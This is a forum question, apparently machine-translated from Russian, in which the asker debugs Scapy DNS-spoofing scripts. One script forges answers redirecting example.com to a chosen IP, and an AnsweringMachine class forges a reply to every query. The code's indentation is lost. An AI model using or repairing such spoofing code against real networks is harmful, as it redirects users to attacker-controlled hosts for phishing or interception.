Так что я использую онлайн-учебник для подмены DNS в моей системе. (Вы можете прочитать больше в предыдущем вопросе .)
Я использовал этот код для перенаправления специальных адресов на другой:
dns_server_ip = '46.165.233.150'
bpf_filt = 'udp port 53'
def dns_responder(local_ip):
def forward_dns(orig_pkt):
print('Forwarding:', orig_pkt[DNSQR].qname)
response = sr1(IP(dst="192.168.43.1", src="192.168.43.64") / UDP(sport=orig_pkt[UDP].sport) / \
DNS(rd=1, id=orig_pkt[DNS].id, qd=DNSQR(qname=orig_pkt[DNSQR].qname)), verbose=0)
#response.show()
respPkt = IP(dst=orig_pkt[IP].src, src=orig_pkt[IP].dst) / UDP(dport=orig_pkt[UDP].sport) / DNS()
respPkt[DNS] = response[DNS]
send(respPkt, verbose=0)
return 'Responding: {}'.format(respPkt.summary())
def get_response(pkt):
if DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0 and pkt[IP].src != local_ip:
if 'example.com' in str(pkt['DNS Question Record'].qname):
spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
/ UDP(dport=pkt[UDP].sport, sport=53) \
/ DNS(id=pkt[DNS].id, qr=1, qd=DNSQR(qname=pkt[DNSQR].qname), \
an=DNSRR(rrname="example.com", rdata = local_ip))
send(spfResp, verbose=0)
return 'Spoofed DNS Response Sent'
else:
# make DNS query, capturing the answer and send the answer
return forward_dns(pkt)
return get_response
sniff(filter=bpf_filt, prn=dns_responder(dns_server_ip))
Проблема с этим кодом заключается в том, что когда он захватывает пакет с doamin, который не нужен и его необходимо пропустить, он работает бесконечно и никогда не останавливается и продолжает отправлять и получать пакеты из одних и тех же доменов. Между тем, когда я набираю URL, который я хочу подделать, это dns в браузере, как example.com
, он не захватывает его.
Если я прокомментирую строку:
return forward_dns(pkt)
В операторе else и написать что-то еще, он захватывает пакет и отправляет ответ, но все же я вижу в моем браузере тот же веб-сайт example.com
, а не сайт с ip, который я дал сценарию. ,
Итак, все это работает в браузере? Потому что я использовал nslookup
в команде windows и все еще получаю ip example.com
в качестве ответа, а не тот, который я подделал.
Автоответчик
Теперь это обновленный код с автоответчиком, предположим, что мы хотим подделать каждый запрос DNS:
class DNS_am (AnsweringMachine):
function_name = "dns_spoof"
filter="udp port 53"
def parse_options(self, joker="137.74.18.82", zone=None):
if zone is None:
zone = {}
self.zone = zone
self.joker = joker
def is_request(self, req):
return req.haslayer(DNS) and req.getlayer(DNS).qr==0
def make_reply(self, req):
ip = req.getlayer(IP)
dns = req.getlayer(DNS)
rdata = self.zone.get(dns.qd.qname, self.joker)
resp = IP(dst=ip.src, src=ip.dst) \
/ UDP(dport=ip.sport, sport=53) \
/ DNS(id=dns.id, qr=1, qd=dns.qd,
an=DNSRR(rrname=dns.qd.qname, rdata=rdata))
return resp
DNS_am()()
Когда я запускаю этот скрипт, он успешно перехватывает все DNS-запросы и отправляет ложный ответ, но этот ответ не вступает в силу. Тем не менее основной ответ работает.
В wireshark поддельный ответ помечается как переданный ответ.